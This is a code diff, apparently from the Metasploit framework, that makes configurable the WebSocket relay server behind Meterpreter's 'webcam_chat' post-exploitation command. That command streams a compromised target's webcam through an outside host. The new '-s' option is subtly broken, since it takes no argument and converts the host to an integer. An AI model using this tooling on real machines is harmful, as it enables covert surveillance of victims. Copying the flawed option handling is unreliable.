Make server configurable

data/webcam/answerer.html

@@ -73,7 +73,7 @@
 	}
 
 	var channel = '=CHANNEL=';
-	var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
+	var websocket = new WebSocket('ws://=SERVER=');
 	var inSession = false;
 
 	websocket.onopen = function() {

data/webcam/offerer.html

@@ -87,7 +87,7 @@
 	<script src="api.js"> </script>
 	<script>
 		var channel = '=CHANNEL=';
-		var websocket = new WebSocket('ws://wsnodejs.jit.su:80');
+		var websocket = new WebSocket('ws://=SERVER=');
 
 		websocket.onopen = function() {
 			websocket.push(JSON.stringify({

lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb

@@ -56,7 +56,7 @@ class Webcam
     true
   end
 
-  def webcam_chat
+  def webcam_chat(server)
     offerer_id = Rex::Text.rand_text_alphanumeric(10)
     channel    = Rex::Text.rand_text_alphanumeric(20)
 
@@ -66,8 +66,8 @@ class Webcam
       raise RuntimeError, "Unable to find a suitable browser on the target machine"
     end
 
-    ready_status = init_video_chat(remote_browser_path, channel, offerer_id)
-    connect_video_chat(channel, offerer_id)
+    ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
+    connect_video_chat(server, channel, offerer_id)
   end
 
   # Record from default audio source for +duration+ seconds;
@@ -141,10 +141,11 @@ class Webcam
   # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
   # @param offerer_id [String] A ID that the answerer can look for and join
   #
-  def init_video_chat(remote_browser_path, channel, offerer_id)
+  def init_video_chat(remote_browser_path, server, channel, offerer_id)
     interface = load_interface('offerer.html')
     api       = load_api_code
 
+    interface = interface.gsub(/\=SERVER\=/, server)
     interface = interface.gsub(/\=CHANNEL\=/, channel)
     interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
 
@@ -195,7 +196,7 @@ class Webcam
   # @param offerer_id [String] The offerer's ID in order to join the video chat
   # @return void
   #
-  def connect_video_chat(channel, offerer_id)
+  def connect_video_chat(server, channel, offerer_id)
     interface = load_interface('answerer.html')
     api       = load_api_code
 
@@ -204,6 +205,7 @@ class Webcam
     tmp_api.write(api)
     tmp_api.close
 
+    interface = interface.gsub(/\=SERVER\=/, server)
     interface = interface.gsub(/\=WEBRTCAPIJS\=/, tmp_api.path)
     interface = interface.gsub(/\=RHOST\=/, rhost)
     interface = interface.gsub(/\=CHANNEL\=/, channel)

lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/webcam.rb

@@ -137,9 +137,29 @@ class Console::CommandDispatcher::Stdapi::Webcam
       return
     end
 
+    server = 'wsnodejs.jit.su:80'
+
+    webcam_chat_opts = Rex::Parser::Arguments.new(
+      "-h" => [ false, "Help banner"],
+      "-s" => [ false, "WebSocket server" ]
+    )
+
+    webcam_chat_opts.parse( args ) { | opt, idx, val |
+      case opt
+        when "-h"
+          print_line( "Usage: webcam_chat [options]\n" )
+          print_line( "Starts a video conversation with your target." )
+          print_line( webcam_chat_opts.usage )
+          return
+        when "-s"
+          server = val.to_i
+      end
+    }
+
+
     begin
       print_status("Video chat session initialized.")
-      client.webcam.webcam_chat
+      client.webcam.webcam_chat(server)
     rescue RuntimeError => e 
       print_error(e.message)
     end